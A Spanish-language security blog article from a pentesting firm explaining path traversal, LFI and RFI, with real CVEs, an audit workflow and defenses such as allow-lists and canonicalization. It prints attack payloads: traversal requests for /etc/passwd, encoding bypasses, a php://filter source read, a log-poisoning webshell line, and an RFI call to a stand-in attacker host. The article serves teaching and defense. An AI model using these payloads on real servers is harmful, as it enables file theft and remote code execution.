ofensiva
path traversal
directory traversal
LFI

Path Traversal, LFI y RFI: ataques y defensa

Qué son path traversal, LFI y RFI: mecanismo ../, wrappers PHP, log poisoning, allow_url_include, CVEs reales, detección y defensa con allow-lists.

Secra6 de julio de 202612 min de lectura

Path traversal, LFI y RFI son tres vulnerabilidades web muy relacionadas que giran en torno a la misma raíz: una aplicación que construye rutas de fichero a partir de entrada controlada por el usuario sin validarla. El path traversal (también llamado directory traversal) permite salir del directorio previsto usando secuencias ../ para leer archivos arbitrarios del servidor. Cuando esa ruta manipulada alimenta una función que además interpreta o ejecuta el fichero, el problema escala a inclusión de ficheros: LFI (local file inclusion) si el recurso incluido está en el propio servidor, y RFI (remote file inclusion) si procede de una URL remota controlada por el atacante. Entender el trío como un continuo, desde la simple lectura de /etc/passwd hasta la ejecución remota de código, es la única forma de auditarlo y defenderlo con criterio.

Lo esencial. El path traversal explota la falta de canonicalización de rutas: ../ retrocede directorios hasta alcanzar ficheros sensibles. LFI convierte esa lectura en ejecución mediante wrappers PHP (php://filter), envenenamiento de logs o inclusión de /proc/self/environ. RFI, hoy menos frecuente, requiere allow_url_include=On y carga código remoto directamente. La defensa combina allow-lists de ficheros, canonicalización con verificación de directorio base, referencias indirectas por identificador, open_basedir, mínimo privilegio y un WAF como capa complementaria, nunca como única barrera.

Qué es path traversal: el mecanismo ../

El path traversal aparece cuando la aplicación toma un nombre de fichero o ruta desde un parámetro (?file=, ?page=, ?lang=, una cabecera, una cookie o el cuerpo de una petición) y lo concatena con una ruta base sin normalizar. La secuencia ../ (en Windows también ..\) indica al sistema de ficheros que suba un nivel en el árbol de directorios. Encadenando suficientes saltos, el atacante alcanza la raíz del sistema y desciende hacia el objetivo:

GET /descargar?file=../../../../etc/passwd HTTP/1.1

Si el backend hace algo equivalente a readFile("/var/www/uploads/" + file), la ruta efectiva se resuelve a /etc/passwd y el contenido se devuelve al cliente. En Windows los objetivos clásicos son C:\Windows\win.ini o C:\Windows\System32\drivers\etc\hosts. Los ficheros de referencia para confirmar la vulnerabilidad suelen ser /etc/passwd, /etc/hosts, ficheros de configuración de la propia aplicación o claves privadas en rutas conocidas.

Cuando existen filtros ingenuos, entran en juego las técnicas de bypass. La codificación URL simple convierte ../ en %2e%2e%2f; la codificación doble en %252e%252e%252f, útil cuando un proxy o un WAF decodifica una vez y la aplicación otra. Filtros que eliminan ../ de forma no recursiva caen ante ....//, que tras la sustitución vuelve a formar ../. En PHP antiguo (anterior a 5.3.4) el byte nulo %00 truncaba la cadena y anulaba extensiones forzadas como .php añadidas por el servidor. También existen representaciones overlong de UTF-8 y variantes con barras invertidas que rompen listas negras frágiles. La lección es la misma que en SSRF: las blocklists de patrones pierden frente a la creatividad de codificación.

De path traversal a LFI: local file inclusion

El salto cualitativo ocurre cuando la ruta controlada no se limita a leerse, sino que se pasa a una función que interpreta el fichero. En PHP el caso canónico es include, require, include_once o require_once sobre una variable de usuario:

$page = $_GET['page'];
include("/var/www/pages/" . $page . ".php");

Con ?page=../../../../etc/passwd%00 (en versiones vulnerables) o rutas equivalentes, el atacante incluye ficheros fuera del directorio previsto. Leer /etc/passwd es solo la demostración inicial. El objetivo real del LFI es la ejecución de código, y para ello existen varios caminos consolidados.

Wrappers y filtros de PHP

PHP expone flujos internos accesibles como rutas. El wrapper php://filter permite leer el código fuente de la propia aplicación codificándolo en base64, lo que evita que el intérprete lo ejecute y devuelve el texto literal:

?page=php://filter/convert.base64-encode/resource=config

Decodificando el resultado se obtiene el fuente de config.php, incluidas credenciales de base de datos. Otros wrappers amplían la superficie: data:// y php://input permiten inyectar código PHP directamente en la petición; zip:// y phar:// han servido para desencadenar deserialización insegura al procesar archivos comprimidos. La técnica moderna de php://filter chains permite incluso generar payloads ejecutables sin fichero previo, combinando conversiones de codificación en cadena.

Log poisoning e inclusión de /proc

Cuando no hay wrappers disponibles, el envenenamiento de logs sigue siendo eficaz. El atacante envía una petición cuyo User-Agent (o cualquier campo que el servidor registre) contiene código PHP, por ejemplo <?php system($_GET['c']); ?>. Ese texto se escribe en access.log. A continuación incluye el propio log vía LFI:

?page=../../../../var/log/apache2/access.log&c=id

El intérprete procesa el log como PHP y ejecuta el comando. Variantes equivalentes apuntan a /var/log/mail, a ficheros de sesión en /var/lib/php/sessions/, o a /proc/self/environ, donde inyectando código en cabeceras que acaban en variables de entorno se logra el mismo efecto. Este paso de lectura a ejecución es lo que convierte un LFI en un incidente crítico, muy cerca del impacto de una subida de archivos insegura que deriva en webshell.

RFI: remote file inclusion

El RFI lleva la inclusión un paso más allá: en lugar de un fichero local, la aplicación carga un recurso desde una URL remota controlada por el atacante.

?page=http://atacante.tld/shell.txt

Si el servidor interpreta el contenido remoto como código, el atacante logra ejecución remota directa alojando su webshell en su propia infraestructura. En PHP esto exige dos directivas activas: allow_url_fopen=On (habitual) y, sobre todo, allow_url_include=On, que está desactivada por defecto desde hace muchas versiones. Esa desactivación por defecto ha reducido drásticamente la prevalencia del RFI clásico frente al LFI, que no depende de configuración remota alguna. Aun así, el RFI reaparece en aplicaciones legacy, entornos mal configurados y frameworks que reintroducen la carga remota sin advertirlo. Wrappers como data:// permiten además un RFI sin servidor externo, embebiendo el payload en la propia URL.

Path traversal, LFI y RFI: diferencias clave

AspectoPath traversalLFIRFI
Acción sobre el ficheroLecturaInclusión e interpretación localInclusión de recurso remoto
Origen del contenidoFilesystem del servidorFilesystem del servidorURL controlada por el atacante
Impacto típicoFuga de informaciónRCE vía wrappers o log poisoningRCE directa
Requisito claveFunción de lectura sin validarFunción de inclusión (include/require)allow_url_include=On
Prevalencia 2026AltaAltaBaja

Los tres comparten la misma causa raíz, entrada de usuario que llega a una operación de sistema de ficheros, y por eso conviene tratarlos como una familia. La diferencia práctica es el desenlace: el path traversal filtra, el LFI y el RFI ejecutan.

Impacto real y CVEs públicos

El path traversal figura de forma persistente en el catálogo CVE, muchas veces con consecuencias que van mucho más allá de la fuga de un fichero. Apache HTTP Server 2.4.49 arrastró CVE-2021-41773, un path traversal que, con la configuración adecuada, derivaba en lectura de ficheros arbitrarios y ejecución remota de código; el parche 2.4.50 resultó incompleto y motivó CVE-2021-42013. En el terreno de los VPN corporativos, CVE-2018-13379 en Fortinet FortiOS permitió leer ficheros de sesión y filtrar credenciales en texto claro mediante una ruta manipulada, y CVE-2019-11510 en Pulse Connect Secure ofreció lectura arbitraria de ficheros previa a autenticación. En productos de seguridad, el propio CVE-2026-34926 de Trend Micro Apex One demuestra que ni las soluciones defensivas están exentas. El patrón común es constante: entrada de ruta sin canonicalizar, ausencia de verificación contra un directorio base y privilegios de proceso excesivos que amplifican el alcance de lo que se puede leer o ejecutar.

Detección en una auditoría

La detección combina fuzzing automatizado y verificación manual. En una auditoría web, el flujo habitual es:

  1. Enumerar todos los parámetros que aceptan nombres de fichero, rutas, plantillas o identificadores de página, incluidas cabeceras y cookies.
  2. Inyectar payloads de traversal con codificaciones variadas (../, %2e%2e%2f, %252e, ....//, backslashes) apuntando a ficheros de referencia conocidos.
  3. Confirmar la lectura con un fichero benigno y estable (/etc/hostname, win.ini) antes de escalar.
  4. Probar wrappers PHP (php://filter, data://) para distinguir un traversal de lectura de un LFI ejecutable.
  5. Verificar RFI apuntando el parámetro a un colaborador externo controlado y observando la petición saliente.

El tooling incluye Burp Suite con Intruder para el fuzzing de payloads, ffuf y wfuzz para descubrimiento, dotdotpwn como fuzzer específico de traversal, y plantillas de Nuclei para detección masiva. La confirmación manual sigue siendo imprescindible: los escáneres detectan patrones evidentes, pero pasan por alto filtros parcialmente efectivos, dobles decodificaciones y cadenas de wrappers que solo un analista con contexto del framework identifica. El path traversal es uno de los hallazgos recurrentes en cualquier revisión seria de pentesting de aplicaciones web.

Defensa en profundidad

La defensa correcta ataca la causa raíz y añade capas por si alguna falla.

Evitar pasar entrada de usuario al sistema de ficheros. El diseño más robusto no construye rutas con datos del usuario. En su lugar, usa referencias indirectas: el usuario envía un identificador (?doc=17) que la aplicación traduce internamente a un fichero mediante un mapa o una consulta, sin exponer nunca la ruta real.

Allow-list de ficheros o de nombres. Cuando hay que seleccionar entre varios recursos, se valida el valor contra una lista blanca cerrada de nombres permitidos. Todo lo que no esté en la lista se rechaza. Las blocklists de patrones peligrosos son insuficientes por las razones de codificación ya vistas.

Canonicalización con verificación de directorio base. Se resuelve la ruta a su forma canónica (realpath() en PHP, Path.normalize y comparación de prefijo en Node o Java) y se comprueba que el resultado sigue estando dentro del directorio base permitido. Si la ruta canónica escapa de esa raíz, se deniega.

Desactivar la inclusión remota. allow_url_include=Off (por defecto) y, cuando sea viable, allow_url_fopen=Off cierran la puerta al RFI. Restringir o deshabilitar wrappers peligrosos limita también los vectores de LFI a ejecución.

Aislamiento y mínimo privilegio. open_basedir confina a PHP a un subárbol concreto. Ejecutar el proceso con un usuario sin permisos sobre ficheros sensibles, junto con contenedores, chroot o namespaces, reduce el impacto de una lectura arbitraria a lo que ese usuario realmente puede ver.

WAF como capa complementaria. Un WAF con el OWASP Core Rule Set detecta y bloquea muchos payloads de traversal, pero es una barrera de contención, no la solución. Un atacante con paciencia para probar codificaciones alternativas termina evadiendo reglas genéricas; el WAF compra tiempo, la corrección en código cierra el fallo.

En el marco OWASP, el path traversal se clasifica dentro de A01:2021 Broken Access Control, mientras que los vectores de inclusión que derivan en ejecución conectan con A03:2021 Injection. La OWASP Web Security Testing Guide dedica pruebas específicas (WSTG-ATHZ-01) a la verificación de traversal e inclusión de ficheros.

Preguntas frecuentes

¿Cuál es la diferencia entre LFI y RFI?

LFI (local file inclusion) incluye ficheros que ya residen en el servidor y logra ejecución mediante wrappers, envenenamiento de logs o /proc/self/environ. RFI (remote file inclusion) carga un recurso desde una URL remota controlada por el atacante y ejecuta código directamente, pero requiere allow_url_include=On, desactivado por defecto en PHP moderno. El LFI es hoy mucho más frecuente.

¿El path traversal siempre lleva a ejecución de código?

No. En su forma básica solo permite leer ficheros arbitrarios, lo que ya supone una fuga grave (credenciales, código fuente, claves privadas). Escala a ejecución únicamente cuando la ruta manipulada alimenta una función que interpreta el fichero, o cuando se combina con log poisoning, wrappers o una subida de ficheros previa.

¿Un WAF es suficiente para protegerse?

No como única medida. El OWASP Core Rule Set bloquea payloads evidentes, pero las codificaciones dobles, ....//, las variantes UTF-8 y las cadenas de wrappers evaden reglas genéricas con relativa facilidad. El WAF es una capa de contención valiosa que debe acompañar, nunca sustituir, la canonicalización y las allow-lists en el código.

¿Qué es el log poisoning en un LFI?

Es la técnica que convierte un LFI de lectura en ejecución. El atacante inyecta código PHP en un campo que el servidor registra (por ejemplo el User-Agent), que queda escrito en access.log. Después incluye ese log mediante el LFI, y el intérprete ejecuta el código inyectado. También funciona con ficheros de sesión y con /proc/self/environ.

¿Los frameworks modernos me protegen automáticamente?

Parcialmente. Los frameworks que sirven ficheros estáticos suelen canonicalizar rutas y validar directorios base. El riesgo reaparece cuando el desarrollador construye rutas manualmente, usa include sobre variables de usuario, o reintroduce carga remota. La protección efectiva exige seguir usando referencias indirectas y validación explícita, no confiar en defaults implícitos.

Recursos relacionados

Auditar path traversal, LFI y RFI con Secra

En Secra tratamos el trío path traversal, LFI y RFI como hallazgos de primer orden dentro de nuestras auditorías de aplicaciones web, alineadas con OWASP Top 10 y la Web Security Testing Guide. Enumeramos cada parámetro que llega al sistema de ficheros, probamos codificaciones y cadenas de wrappers, verificamos la posibilidad de ejecución vía log poisoning y confirmamos la exposición RFI con colaboradores controlados. Entregamos hallazgos priorizados por impacto real, casos de prueba reproducibles y recomendaciones concretas de hardening: referencias indirectas, canonicalización con verificación de directorio base, open_basedir, mínimo privilegio y reglas de WAF adaptadas a vuestra arquitectura. Si necesitáis validar la exposición de vuestras aplicaciones antes de que lo haga un atacante, escribidnos desde nuestro servicio de auditoría web y móvil y planificamos una revisión adaptada al alcance de vuestra plataforma.

Sobre el autor

Equipo de Secra Solutions

Ethical hackers certificados OSCP, OSEP, OSWE, CRTO, CRTL y CARTE, con más de 7 años de experiencia en ciberseguridad ofensiva. Autores de los CVE-2025-40652 y CVE-2023-3512.

Compartir artículo